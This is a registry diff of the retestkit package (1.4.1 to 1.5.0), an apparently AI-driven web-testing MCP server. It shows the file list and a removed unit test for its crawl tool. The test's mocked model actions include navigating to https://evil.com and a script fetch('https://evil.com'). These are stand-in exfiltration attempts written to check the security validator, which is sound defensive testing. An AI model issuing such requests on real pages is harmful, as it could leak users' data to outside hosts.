retestkit 1.4.1 → 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (238) hide show
  1. package/README.md +59 -40
  2. package/dist/config.js +8 -8
  3. package/dist/config.js.map +1 -1
  4. package/dist/logger.js +1 -1
  5. package/dist/logger.js.map +1 -1
  6. package/dist/prompts/index.d.ts +1 -1
  7. package/dist/prompts/index.d.ts.map +1 -1
  8. package/dist/prompts/index.js +21 -21
  9. package/dist/prompts/index.js.map +1 -1
  10. package/dist/prompts/templates/mcp/retest-crawl.md +7 -0
  11. package/{src/prompts/templates/mcp/webtest-discover-flows.md → dist/prompts/templates/mcp/retest-discover-flows.md} +1 -1
  12. package/{src/prompts/templates/mcp/webtest-discover.md → dist/prompts/templates/mcp/retest-discover.md} +2 -2
  13. package/dist/prompts/templates/mcp/retest-full-workflow.md +12 -0
  14. package/{src/prompts/templates/mcp/webtest-generate-tests.md → dist/prompts/templates/mcp/retest-generate-tests.md} +1 -1
  15. package/{src/prompts/templates/mcp/webtest-run-test.md → dist/prompts/templates/mcp/retest-run-test.md} +1 -1
  16. package/{src/prompts/templates/mcp/webtest-start.md → dist/prompts/templates/mcp/retest-start.md} +1 -1
  17. package/{src → dist}/prompts/templates/sampling/system-prefix.md +1 -1
  18. package/dist/resources/index.js +7 -7
  19. package/dist/resources/index.js.map +1 -1
  20. package/dist/schemas/config.js +2 -2
  21. package/dist/schemas/config.js.map +1 -1
  22. package/dist/security/index.js +1 -1
  23. package/dist/security/index.js.map +1 -1
  24. package/dist/server.js +3 -3
  25. package/dist/server.js.map +1 -1
  26. package/dist/test-utils/mock-context.js +22 -22
  27. package/dist/test-utils/mock-context.js.map +1 -1
  28. package/dist/tools/index.d.ts +1 -1
  29. package/dist/tools/index.d.ts.map +1 -1
  30. package/dist/tools/index.js +5 -5
  31. package/dist/tools/index.js.map +1 -1
  32. package/dist/tools/retest/crawl.d.ts.map +1 -0
  33. package/dist/tools/{webtest → retest}/crawl.js +7 -7
  34. package/dist/tools/retest/crawl.js.map +1 -0
  35. package/dist/tools/retest/discover-features.d.ts.map +1 -0
  36. package/dist/tools/{webtest → retest}/discover-features.js +6 -6
  37. package/dist/tools/retest/discover-features.js.map +1 -0
  38. package/dist/tools/retest/discover-flows.d.ts.map +1 -0
  39. package/dist/tools/{webtest → retest}/discover-flows.js +6 -6
  40. package/dist/tools/retest/discover-flows.js.map +1 -0
  41. package/dist/tools/retest/generate-tests.d.ts.map +1 -0
  42. package/dist/tools/{webtest → retest}/generate-tests.js +5 -5
  43. package/dist/tools/retest/generate-tests.js.map +1 -0
  44. package/dist/tools/retest/index.d.ts.map +1 -0
  45. package/dist/tools/retest/index.js.map +1 -0
  46. package/dist/tools/retest/run-test-case.d.ts.map +1 -0
  47. package/dist/tools/{webtest → retest}/run-test-case.js +3 -3
  48. package/dist/tools/retest/run-test-case.js.map +1 -0
  49. package/dist/tools/retest/schemas.d.ts.map +1 -0
  50. package/dist/tools/retest/schemas.js.map +1 -0
  51. package/dist/tools/retest/start-analysis.d.ts.map +1 -0
  52. package/dist/tools/{webtest → retest}/start-analysis.js +5 -5
  53. package/dist/tools/retest/start-analysis.js.map +1 -0
  54. package/dist/workspace/index.js +8 -8
  55. package/dist/workspace/index.js.map +1 -1
  56. package/dist/workspace/types.d.ts +2 -2
  57. package/dist/workspace/types.d.ts.map +1 -1
  58. package/package.json +6 -2
  59. package/.claude/commands/openspec/apply.md +0 -23
  60. package/.claude/commands/openspec/archive.md +0 -27
  61. package/.claude/commands/openspec/proposal.md +0 -28
  62. package/.gemini/commands/openspec/apply.toml +0 -21
  63. package/.gemini/commands/openspec/archive.toml +0 -25
  64. package/.gemini/commands/openspec/proposal.toml +0 -26
  65. package/.github/prompts/openspec-apply.prompt.md +0 -22
  66. package/.github/prompts/openspec-archive.prompt.md +0 -26
  67. package/.github/prompts/openspec-proposal.prompt.md +0 -27
  68. package/.github/workflows/release.yml +0 -33
  69. package/.kilocode/workflows/openspec-apply.md +0 -17
  70. package/.kilocode/workflows/openspec-archive.md +0 -21
  71. package/.kilocode/workflows/openspec-proposal.md +0 -22
  72. package/.mcp.json +0 -23
  73. package/.opencode/command/openspec-apply.md +0 -25
  74. package/.opencode/command/openspec-archive.md +0 -28
  75. package/.opencode/command/openspec-proposal.md +0 -30
  76. package/.roo/commands/openspec-apply.md +0 -20
  77. package/.roo/commands/openspec-archive.md +0 -24
  78. package/.roo/commands/openspec-proposal.md +0 -25
  79. package/.vscode/mcp.json +0 -23
  80. package/AGENTS.md +0 -18
  81. package/CLAUDE.md +0 -18
  82. package/dist/tools/webtest/crawl.d.ts.map +0 -1
  83. package/dist/tools/webtest/crawl.js.map +0 -1
  84. package/dist/tools/webtest/discover-features.d.ts.map +0 -1
  85. package/dist/tools/webtest/discover-features.js.map +0 -1
  86. package/dist/tools/webtest/discover-flows.d.ts.map +0 -1
  87. package/dist/tools/webtest/discover-flows.js.map +0 -1
  88. package/dist/tools/webtest/generate-tests.d.ts.map +0 -1
  89. package/dist/tools/webtest/generate-tests.js.map +0 -1
  90. package/dist/tools/webtest/index.d.ts.map +0 -1
  91. package/dist/tools/webtest/index.js.map +0 -1
  92. package/dist/tools/webtest/run-test-case.d.ts.map +0 -1
  93. package/dist/tools/webtest/run-test-case.js.map +0 -1
  94. package/dist/tools/webtest/schemas.d.ts.map +0 -1
  95. package/dist/tools/webtest/schemas.js.map +0 -1
  96. package/dist/tools/webtest/start-analysis.d.ts.map +0 -1
  97. package/dist/tools/webtest/start-analysis.js.map +0 -1
  98. package/openspec/AGENTS.md +0 -456
  99. package/openspec/changes/archive/2025-12-18-add-hybrid-artifact-paths/proposal.md +0 -33
  100. package/openspec/changes/archive/2025-12-18-add-hybrid-artifact-paths/specs/webtest-resources/spec.md +0 -27
  101. package/openspec/changes/archive/2025-12-18-add-hybrid-artifact-paths/specs/webtest-tools/spec.md +0 -304
  102. package/openspec/changes/archive/2025-12-18-add-hybrid-artifact-paths/tasks.md +0 -43
  103. package/openspec/changes/archive/2025-12-18-add-mcp-server-foundation/design.md +0 -209
  104. package/openspec/changes/archive/2025-12-18-add-mcp-server-foundation/proposal.md +0 -41
  105. package/openspec/changes/archive/2025-12-18-add-mcp-server-foundation/specs/mcp-server-core/spec.md +0 -183
  106. package/openspec/changes/archive/2025-12-18-add-mcp-server-foundation/tasks.md +0 -112
  107. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/design.md +0 -333
  108. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/proposal.md +0 -66
  109. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/mcp-server-core/spec.md +0 -129
  110. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-lifecycle/spec.md +0 -138
  111. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-logging/spec.md +0 -211
  112. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-prompts/spec.md +0 -157
  113. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-resources/spec.md +0 -213
  114. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-sampling/spec.md +0 -257
  115. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-tools/spec.md +0 -501
  116. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/tasks.md +0 -264
  117. package/openspec/changes/archive/2025-12-18-allow-analysis-of-incomplete-crawls/proposal.md +0 -24
  118. package/openspec/changes/archive/2025-12-18-allow-analysis-of-incomplete-crawls/specs/webtest-tools/spec.md +0 -80
  119. package/openspec/changes/archive/2025-12-18-allow-analysis-of-incomplete-crawls/tasks.md +0 -8
  120. package/openspec/changes/archive/2025-12-18-fix-crawl-loop-stability/design.md +0 -90
  121. package/openspec/changes/archive/2025-12-18-fix-crawl-loop-stability/proposal.md +0 -28
  122. package/openspec/changes/archive/2025-12-18-fix-crawl-loop-stability/specs/webtest-sampling/spec.md +0 -90
  123. package/openspec/changes/archive/2025-12-18-fix-crawl-loop-stability/tasks.md +0 -33
  124. package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/design.md +0 -558
  125. package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/proposal.md +0 -119
  126. package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/specs/webtest-resources/spec.md +0 -109
  127. package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/specs/webtest-tools/spec.md +0 -121
  128. package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/tasks.md +0 -133
  129. package/openspec/changes/extract-prompts-to-markdown/design.md +0 -86
  130. package/openspec/changes/extract-prompts-to-markdown/proposal.md +0 -50
  131. package/openspec/changes/extract-prompts-to-markdown/specs/webtest-prompts/spec.md +0 -74
  132. package/openspec/changes/extract-prompts-to-markdown/tasks.md +0 -40
  133. package/openspec/changes/refactor-webtest-naming/design.md +0 -95
  134. package/openspec/changes/refactor-webtest-naming/proposal.md +0 -66
  135. package/openspec/changes/refactor-webtest-naming/specs/webtest-prompts/spec.md +0 -79
  136. package/openspec/changes/refactor-webtest-naming/specs/webtest-resources/spec.md +0 -80
  137. package/openspec/changes/refactor-webtest-naming/specs/webtest-sampling/spec.md +0 -122
  138. package/openspec/changes/refactor-webtest-naming/specs/webtest-tools/spec.md +0 -113
  139. package/openspec/changes/refactor-webtest-naming/tasks.md +0 -119
  140. package/openspec/changes/rename-package-to-retest/proposal.md +0 -52
  141. package/openspec/changes/rename-package-to-retest/specs/mcp-server-core/spec.md +0 -53
  142. package/openspec/changes/rename-package-to-retest/specs/retest-lifecycle/spec.md +0 -68
  143. package/openspec/changes/rename-package-to-retest/specs/retest-logging/spec.md +0 -35
  144. package/openspec/changes/rename-package-to-retest/specs/retest-prompts/spec.md +0 -159
  145. package/openspec/changes/rename-package-to-retest/specs/retest-resources/spec.md +0 -251
  146. package/openspec/changes/rename-package-to-retest/specs/retest-sampling/spec.md +0 -99
  147. package/openspec/changes/rename-package-to-retest/specs/retest-tools/spec.md +0 -295
  148. package/openspec/changes/rename-package-to-retest/tasks.md +0 -71
  149. package/openspec/project.md +0 -31
  150. package/openspec/specs/mcp-server-core/spec.md +0 -178
  151. package/openspec/specs/webtest-lifecycle/spec.md +0 -136
  152. package/openspec/specs/webtest-logging/spec.md +0 -209
  153. package/openspec/specs/webtest-prompts/spec.md +0 -155
  154. package/openspec/specs/webtest-resources/spec.md +0 -248
  155. package/openspec/specs/webtest-sampling/spec.md +0 -344
  156. package/openspec/specs/webtest-tools/spec.md +0 -282
  157. package/release.config.js +0 -9
  158. package/src/config.test.ts +0 -96
  159. package/src/config.ts +0 -32
  160. package/src/elicitation/index.test.ts +0 -399
  161. package/src/elicitation/index.ts +0 -171
  162. package/src/elicitation/types.ts +0 -68
  163. package/src/index.ts +0 -83
  164. package/src/lifecycle/index.test.ts +0 -260
  165. package/src/lifecycle/index.ts +0 -101
  166. package/src/logger.redaction.test.ts +0 -322
  167. package/src/logger.test.ts +0 -123
  168. package/src/logger.ts +0 -229
  169. package/src/playwright-client/index.ts +0 -392
  170. package/src/playwright-client/types.ts +0 -99
  171. package/src/progress/index.test.ts +0 -327
  172. package/src/progress/index.ts +0 -170
  173. package/src/progress/types.ts +0 -25
  174. package/src/prompts/index.test.ts +0 -451
  175. package/src/prompts/index.ts +0 -246
  176. package/src/prompts/loader.test.ts +0 -100
  177. package/src/prompts/loader.ts +0 -59
  178. package/src/prompts/templates/mcp/webtest-crawl.md +0 -7
  179. package/src/prompts/templates/mcp/webtest-full-workflow.md +0 -12
  180. package/src/resources/index.ts +0 -250
  181. package/src/resources/subscriptions.ts +0 -37
  182. package/src/sampling/index.test.ts +0 -414
  183. package/src/sampling/index.ts +0 -286
  184. package/src/sampling/prompts.ts +0 -194
  185. package/src/sampling/types.ts +0 -60
  186. package/src/schemas/config.ts +0 -39
  187. package/src/security/index.test.ts +0 -441
  188. package/src/security/index.ts +0 -361
  189. package/src/security/security-scenarios.test.ts +0 -468
  190. package/src/server.ts +0 -211
  191. package/src/test-utils/index.ts +0 -6
  192. package/src/test-utils/mock-context.ts +0 -426
  193. package/src/test-utils/mock-playwright-client.ts +0 -422
  194. package/src/tools/index.ts +0 -11
  195. package/src/tools/webtest/crawl.test.ts +0 -834
  196. package/src/tools/webtest/crawl.ts +0 -901
  197. package/src/tools/webtest/discover-features.ts +0 -412
  198. package/src/tools/webtest/discover-flows.ts +0 -408
  199. package/src/tools/webtest/generate-tests.test.ts +0 -532
  200. package/src/tools/webtest/generate-tests.ts +0 -425
  201. package/src/tools/webtest/index.ts +0 -7
  202. package/src/tools/webtest/integration.test.ts +0 -536
  203. package/src/tools/webtest/run-test-case.test.ts +0 -659
  204. package/src/tools/webtest/run-test-case.ts +0 -508
  205. package/src/tools/webtest/schemas.ts +0 -201
  206. package/src/tools/webtest/start-analysis.test.ts +0 -151
  207. package/src/tools/webtest/start-analysis.ts +0 -158
  208. package/src/transports/http.ts +0 -19
  209. package/src/transports/index.ts +0 -30
  210. package/src/transports/stdio.ts +0 -7
  211. package/src/types/capabilities.test.ts +0 -193
  212. package/src/types/capabilities.ts +0 -50
  213. package/src/types/context.ts +0 -21
  214. package/src/types/tool.ts +0 -11
  215. package/src/workspace/index.ts +0 -945
  216. package/src/workspace/markdown.ts +0 -272
  217. package/src/workspace/types.ts +0 -186
  218. package/tests/integration/server.test.ts +0 -89
  219. package/tests/integration/tools.test.ts +0 -99
  220. package/tsconfig.json +0 -20
  221. package/vitest.config.ts +0 -9
  222. package/vitest.integration.config.ts +0 -10
  223. /package/{src → dist}/prompts/templates/sampling/crawl-action.md +0 -0
  224. /package/{src → dist}/prompts/templates/sampling/feature-discovery.md +0 -0
  225. /package/{src → dist}/prompts/templates/sampling/flow-discovery.md +0 -0
  226. /package/{src → dist}/prompts/templates/sampling/page-content-wrapper.md +0 -0
  227. /package/{src → dist}/prompts/templates/sampling/test-evaluation.md +0 -0
  228. /package/{src → dist}/prompts/templates/sampling/test-generation.md +0 -0
  229. /package/dist/tools/{webtest → retest}/crawl.d.ts +0 -0
  230. /package/dist/tools/{webtest → retest}/discover-features.d.ts +0 -0
  231. /package/dist/tools/{webtest → retest}/discover-flows.d.ts +0 -0
  232. /package/dist/tools/{webtest → retest}/generate-tests.d.ts +0 -0
  233. /package/dist/tools/{webtest → retest}/index.d.ts +0 -0
  234. /package/dist/tools/{webtest → retest}/index.js +0 -0
  235. /package/dist/tools/{webtest → retest}/run-test-case.d.ts +0 -0
  236. /package/dist/tools/{webtest → retest}/schemas.d.ts +0 -0
  237. /package/dist/tools/{webtest → retest}/schemas.js +0 -0
  238. /package/dist/tools/{webtest → retest}/start-analysis.d.ts +0 -0
@@ -1,834 +0,0 @@
1
- /**
2
- * Unit Tests for webtest_crawl_app tool (Phase 4.13)
3
- */
4
-
5
- import { describe, it, expect, vi, beforeEach } from "vitest";
6
- import { createCrawlTool } from "./crawl.js";
7
- import {
8
- createMockContext,
9
- type MockContext,
10
- } from "../../test-utils/index.js";
11
-
12
- describe("webtest_crawl_app", () => {
13
- let context: MockContext;
14
- let tool: ReturnType<typeof createCrawlTool>;
15
-
16
- beforeEach(() => {
17
- context = createMockContext();
18
- tool = createCrawlTool(() => context as any);
19
- });
20
-
21
- describe("tool metadata", () => {
22
- it("has correct name", () => {
23
- expect(tool.name).toBe("webtest_crawl_app");
24
- });
25
-
26
- it("has a description", () => {
27
- expect(tool.description).toBeDefined();
28
- expect(tool.description.length).toBeGreaterThan(0);
29
- });
30
-
31
- it("has an input schema", () => {
32
- expect(tool.inputSchema).toBeDefined();
33
- });
34
- });
35
-
36
- describe("handler - validation", () => {
37
- it("returns error for non-existent workspace", async () => {
38
- context.workspaceManager.workspaceExists = vi.fn().mockResolvedValue(false);
39
-
40
- const result = await tool.handler({
41
- analysisId: "00000000-0000-0000-0000-000000000000",
42
- goal: "Explore the site",
43
- });
44
-
45
- expect(result.isError).toBe(true);
46
- expect(result.content[0].text).toContain("not found");
47
- });
48
-
49
- it("validates analysisId format via schema", () => {
50
- // The schema requires UUID format
51
- const schema = tool.inputSchema;
52
- expect(schema).toBeDefined();
53
- });
54
-
55
- it("requires goal parameter", () => {
56
- const schema = tool.inputSchema;
57
- expect(schema).toBeDefined();
58
- });
59
- });
60
-
61
- describe("handler - crawl execution", () => {
62
- beforeEach(async () => {
63
- // Set up successful sampling that completes immediately
64
- context.samplingClient.createMessage = vi.fn().mockResolvedValue({
65
- success: true,
66
- data: {
67
- actions: [],
68
- reasoning: "Goal achieved",
69
- goalProgress: "Complete",
70
- goalComplete: true,
71
- },
72
- });
73
-
74
- await context.playwrightClient.connect();
75
- });
76
-
77
- it("creates crawl in workspace", async () => {
78
- const result = await tool.handler({
79
- analysisId: context.testAnalysisId,
80
- goal: "Explore the site",
81
- });
82
-
83
- expect(result.isError).toBeFalsy();
84
- expect(context.workspaceManager.createCrawl).toHaveBeenCalled();
85
- });
86
-
87
- it("connects to playwright if not connected", async () => {
88
- context.playwrightClient.isConnected = vi.fn().mockReturnValue(false);
89
-
90
- await tool.handler({
91
- analysisId: context.testAnalysisId,
92
- goal: "Explore the site",
93
- });
94
-
95
- expect(context.playwrightClient.connect).toHaveBeenCalled();
96
- });
97
-
98
- it("navigates to workspace URL", async () => {
99
- await tool.handler({
100
- analysisId: context.testAnalysisId,
101
- goal: "Explore the site",
102
- });
103
-
104
- expect(context.playwrightClient.navigate).toHaveBeenCalled();
105
- });
106
-
107
- it("captures page snapshot", async () => {
108
- await tool.handler({
109
- analysisId: context.testAnalysisId,
110
- goal: "Explore the site",
111
- });
112
-
113
- expect(context.playwrightClient.snapshot).toHaveBeenCalled();
114
- });
115
-
116
- it("returns crawlId in response", async () => {
117
- const result = await tool.handler({
118
- analysisId: context.testAnalysisId,
119
- goal: "Explore the site",
120
- });
121
-
122
- expect(result.isError).toBeFalsy();
123
- const content = JSON.parse(result.content[0].text!);
124
- expect(content.crawlId).toBeDefined();
125
- });
126
-
127
- it("returns status completed when goal achieved", async () => {
128
- const result = await tool.handler({
129
- analysisId: context.testAnalysisId,
130
- goal: "Explore the site",
131
- });
132
-
133
- expect(result.isError).toBeFalsy();
134
- const content = JSON.parse(result.content[0].text!);
135
- expect(content.status).toBe("completed");
136
- expect(content.goalComplete).toBe(true);
137
- });
138
-
139
- it("returns next steps after completion", async () => {
140
- const result = await tool.handler({
141
- analysisId: context.testAnalysisId,
142
- goal: "Explore the site",
143
- });
144
-
145
- const content = JSON.parse(result.content[0].text!);
146
- expect(content.nextSteps).toBeInstanceOf(Array);
147
- expect(content.nextSteps.length).toBeGreaterThan(0);
148
- });
149
- });
150
-
151
- describe("handler - limits", () => {
152
- beforeEach(async () => {
153
- await context.playwrightClient.connect();
154
- });
155
-
156
- it("uses workspace limits by default", async () => {
157
- context.samplingClient.createMessage = vi.fn().mockResolvedValue({
158
- success: true,
159
- data: {
160
- actions: [],
161
- reasoning: "Done",
162
- goalProgress: "Complete",
163
- goalComplete: true,
164
- },
165
- });
166
-
167
- await tool.handler({
168
- analysisId: context.testAnalysisId,
169
- goal: "Explore the site",
170
- });
171
-
172
- expect(context.workspaceManager.createCrawl).toHaveBeenCalledWith(
173
- context.testAnalysisId,
174
- expect.objectContaining({
175
- limits: expect.objectContaining({
176
- maxSteps: expect.any(Number),
177
- }),
178
- })
179
- );
180
- });
181
-
182
- it("respects custom limits", async () => {
183
- context.samplingClient.createMessage = vi.fn().mockResolvedValue({
184
- success: true,
185
- data: {
186
- actions: [],
187
- reasoning: "Done",
188
- goalProgress: "Complete",
189
- goalComplete: true,
190
- },
191
- });
192
-
193
- await tool.handler({
194
- analysisId: context.testAnalysisId,
195
- goal: "Explore the site",
196
- limits: { maxSteps: 5 },
197
- });
198
-
199
- expect(context.workspaceManager.createCrawl).toHaveBeenCalledWith(
200
- context.testAnalysisId,
201
- expect.objectContaining({
202
- limits: expect.objectContaining({
203
- maxSteps: 5,
204
- }),
205
- })
206
- );
207
- });
208
- });
209
-
210
- describe("handler - fallback mode", () => {
211
- beforeEach(async () => {
212
- context.samplingClient.hasSampling = vi.fn().mockReturnValue(false);
213
- await context.playwrightClient.connect();
214
- });
215
-
216
- it("returns prompt when sampling unavailable", async () => {
217
- const result = await tool.handler({
218
- analysisId: context.testAnalysisId,
219
- goal: "Explore the site",
220
- });
221
-
222
- expect(result.isError).toBeFalsy();
223
- const content = JSON.parse(result.content[0].text!);
224
- expect(content.needsManualInput).toBe(true);
225
- expect(content.prompt).toBeDefined();
226
- });
227
-
228
- it("includes instructions for manual mode", async () => {
229
- const result = await tool.handler({
230
- analysisId: context.testAnalysisId,
231
- goal: "Explore the site",
232
- });
233
-
234
- const content = JSON.parse(result.content[0].text!);
235
- expect(content.instructions).toContain("manualNextActions");
236
- });
237
-
238
- it("includes partial results info", async () => {
239
- const result = await tool.handler({
240
- analysisId: context.testAnalysisId,
241
- goal: "Explore the site",
242
- });
243
-
244
- const content = JSON.parse(result.content[0].text!);
245
- expect(content.partialResults).toBeDefined();
246
- });
247
- });
248
-
249
- describe("handler - manual actions", () => {
250
- beforeEach(async () => {
251
- context.samplingClient.hasSampling = vi.fn().mockReturnValue(false);
252
- await context.playwrightClient.connect();
253
- });
254
-
255
- it("executes manual actions when provided", async () => {
256
- // First call triggers the manual flow and executes the action
257
- await tool.handler({
258
- analysisId: context.testAnalysisId,
259
- goal: "Explore the site",
260
- manualNextActions: [
261
- { tool: "click", args: { element: "Submit button", ref: "e1" } },
262
- ],
263
- });
264
-
265
- expect(context.playwrightClient.click).toHaveBeenCalledWith("Submit button", "e1");
266
- });
267
-
268
- it("validates manual actions for security", async () => {
269
- context.securityValidator.validateAction = vi.fn().mockReturnValue({
270
- valid: false,
271
- reason: "External domain not allowed",
272
- });
273
-
274
- const result = await tool.handler({
275
- analysisId: context.testAnalysisId,
276
- goal: "Explore the site",
277
- manualNextActions: [
278
- { tool: "navigate", args: { url: "https://evil.com" } },
279
- ],
280
- });
281
-
282
- expect(result.isError).toBe(true);
283
- expect(result.content[0].text).toContain("Security error");
284
- });
285
- });
286
-
287
- describe("handler - cancellation", () => {
288
- it("handles cancellation gracefully", async () => {
289
- // Set up to throw cancellation error
290
- const { CancellationError } = await import("../../progress/index.js");
291
- context.cancellationRegistry.checkCancelled = vi.fn().mockImplementation((id) => {
292
- throw new CancellationError(id);
293
- });
294
-
295
- await context.playwrightClient.connect();
296
-
297
- const result = await tool.handler({
298
- analysisId: context.testAnalysisId,
299
- goal: "Explore the site",
300
- });
301
-
302
- expect(result.isError).toBeFalsy();
303
- const content = JSON.parse(result.content[0].text!);
304
- expect(content.status).toBe("cancelled");
305
- });
306
-
307
- it("registers for cancellation on start", async () => {
308
- context.samplingClient.createMessage = vi.fn().mockResolvedValue({
309
- success: true,
310
- data: {
311
- actions: [],
312
- reasoning: "Done",
313
- goalProgress: "Complete",
314
- goalComplete: true,
315
- },
316
- });
317
-
318
- await context.playwrightClient.connect();
319
-
320
- await tool.handler({
321
- analysisId: context.testAnalysisId,
322
- goal: "Explore the site",
323
- });
324
-
325
- expect(context.cancellationRegistry.register).toHaveBeenCalled();
326
- });
327
-
328
- it("unregisters cancellation on completion", async () => {
329
- context.samplingClient.createMessage = vi.fn().mockResolvedValue({
330
- success: true,
331
- data: {
332
- actions: [],
333
- reasoning: "Done",
334
- goalProgress: "Complete",
335
- goalComplete: true,
336
- },
337
- });
338
-
339
- await context.playwrightClient.connect();
340
-
341
- await tool.handler({
342
- analysisId: context.testAnalysisId,
343
- goal: "Explore the site",
344
- });
345
-
346
- expect(context.cancellationRegistry.unregister).toHaveBeenCalled();
347
- });
348
- });
349
-
350
- describe("handler - progress reporting", () => {
351
- beforeEach(async () => {
352
- await context.playwrightClient.connect();
353
- });
354
-
355
- it("emits progress during crawl", async () => {
356
- let stepCount = 0;
357
- context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
358
- stepCount++;
359
- if (stepCount >= 2) {
360
- return {
361
- success: true,
362
- data: {
363
- actions: [],
364
- reasoning: "Done",
365
- goalProgress: "Complete",
366
- goalComplete: true,
367
- },
368
- };
369
- }
370
- return {
371
- success: true,
372
- data: {
373
- actions: [{ tool: "click", args: { selector: "a" } }],
374
- reasoning: "Exploring",
375
- goalProgress: `Step ${stepCount}`,
376
- goalComplete: false,
377
- },
378
- };
379
- });
380
-
381
- await tool.handler({
382
- analysisId: context.testAnalysisId,
383
- goal: "Explore the site",
384
- });
385
-
386
- expect(context.progressEmitter.emit).toHaveBeenCalled();
387
- });
388
- });
389
-
390
- describe("handler - checkpoint and resume", () => {
391
- beforeEach(async () => {
392
- context.samplingClient.createMessage = vi.fn().mockResolvedValue({
393
- success: true,
394
- data: {
395
- actions: [],
396
- reasoning: "Done",
397
- goalProgress: "Complete",
398
- goalComplete: true,
399
- },
400
- });
401
-
402
- await context.playwrightClient.connect();
403
- });
404
-
405
- it("supports resume flag", async () => {
406
- const result = await tool.handler({
407
- analysisId: context.testAnalysisId,
408
- goal: "Explore the site",
409
- resume: true,
410
- });
411
-
412
- expect(result.isError).toBeFalsy();
413
- expect(context.workspaceManager.loadCheckpoint).toHaveBeenCalled();
414
- });
415
-
416
- it("continues from checkpoint when available", async () => {
417
- context.workspaceManager.loadCheckpoint = vi.fn().mockResolvedValue({
418
- step: 5,
419
- timestamp: new Date().toISOString(),
420
- visitedUrls: ["https://shop.example.com", "https://shop.example.com/products"],
421
- currentUrl: "https://shop.example.com/products",
422
- goalProgress: "Found products",
423
- canResume: true,
424
- });
425
-
426
- await tool.handler({
427
- analysisId: context.testAnalysisId,
428
- goal: "Continue exploring",
429
- resume: true,
430
- });
431
-
432
- // Should navigate to checkpoint URL
433
- expect(context.playwrightClient.navigate).toHaveBeenCalled();
434
- });
435
-
436
- it("starts fresh when no checkpoint available", async () => {
437
- context.workspaceManager.loadCheckpoint = vi.fn().mockResolvedValue(null);
438
-
439
- await tool.handler({
440
- analysisId: context.testAnalysisId,
441
- goal: "Explore",
442
- resume: true,
443
- });
444
-
445
- // Should still work
446
- expect(context.playwrightClient.navigate).toHaveBeenCalled();
447
- });
448
- });
449
-
450
- describe("handler - security validation", () => {
451
- beforeEach(async () => {
452
- await context.playwrightClient.connect();
453
- });
454
-
455
- it("validates actions against allowed domains", async () => {
456
- context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
457
- success: true,
458
- data: {
459
- actions: [{ tool: "navigate", args: { url: "https://evil.com" } }],
460
- reasoning: "Navigating",
461
- goalProgress: "Exploring",
462
- goalComplete: false,
463
- },
464
- }).mockResolvedValueOnce({
465
- success: true,
466
- data: {
467
- actions: [],
468
- reasoning: "Done",
469
- goalProgress: "Complete",
470
- goalComplete: true,
471
- },
472
- });
473
-
474
- context.securityValidator.validateAction = vi.fn().mockReturnValue({
475
- valid: false,
476
- reason: "External domain not allowed",
477
- });
478
-
479
- await tool.handler({
480
- analysisId: context.testAnalysisId,
481
- goal: "Explore",
482
- });
483
-
484
- expect(context.securityValidator.validateAction).toHaveBeenCalled();
485
- });
486
-
487
- it("detects exfiltration attempts", async () => {
488
- context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
489
- success: true,
490
- data: {
491
- actions: [{ tool: "evaluate", args: { script: "fetch('https://evil.com')" } }],
492
- reasoning: "Running script",
493
- goalProgress: "Testing",
494
- goalComplete: false,
495
- },
496
- }).mockResolvedValueOnce({
497
- success: true,
498
- data: {
499
- actions: [],
500
- reasoning: "Done",
501
- goalProgress: "Complete",
502
- goalComplete: true,
503
- },
504
- });
505
-
506
- context.securityValidator.detectExfiltrationAttempt = vi.fn().mockReturnValue({
507
- detected: true,
508
- type: "external_request",
509
- evidence: "POST to external",
510
- });
511
-
512
- await tool.handler({
513
- analysisId: context.testAnalysisId,
514
- goal: "Explore",
515
- });
516
-
517
- expect(context.securityValidator.detectExfiltrationAttempt).toHaveBeenCalled();
518
- });
519
-
520
- it("checks for injection in page content", async () => {
521
- context.samplingClient.createMessage = vi.fn().mockResolvedValue({
522
- success: true,
523
- data: {
524
- actions: [],
525
- reasoning: "Done",
526
- goalProgress: "Complete",
527
- goalComplete: true,
528
- },
529
- });
530
-
531
- await tool.handler({
532
- analysisId: context.testAnalysisId,
533
- goal: "Explore",
534
- });
535
-
536
- expect(context.securityValidator.detectInjectionAttempt).toHaveBeenCalled();
537
- });
538
- });
539
-
540
- describe("handler - action execution", () => {
541
- beforeEach(async () => {
542
- await context.playwrightClient.connect();
543
- });
544
-
545
- it("executes click actions", async () => {
546
- context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
547
- success: true,
548
- data: {
549
- actions: [{ tool: "click", args: { element: "Submit button", ref: "e1" } }],
550
- reasoning: "Clicking button",
551
- goalProgress: "Clicking",
552
- goalComplete: false,
553
- },
554
- }).mockResolvedValueOnce({
555
- success: true,
556
- data: {
557
- actions: [],
558
- reasoning: "Done",
559
- goalProgress: "Complete",
560
- goalComplete: true,
561
- },
562
- });
563
-
564
- await tool.handler({
565
- analysisId: context.testAnalysisId,
566
- goal: "Explore",
567
- });
568
-
569
- expect(context.playwrightClient.click).toHaveBeenCalledWith("Submit button", "e1");
570
- });
571
-
572
- it("executes type actions", async () => {
573
- context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
574
- success: true,
575
- data: {
576
- actions: [{ tool: "type", args: { element: "Input field", ref: "e2", text: "hello" } }],
577
- reasoning: "Typing",
578
- goalProgress: "Typing",
579
- goalComplete: false,
580
- },
581
- }).mockResolvedValueOnce({
582
- success: true,
583
- data: {
584
- actions: [],
585
- reasoning: "Done",
586
- goalProgress: "Complete",
587
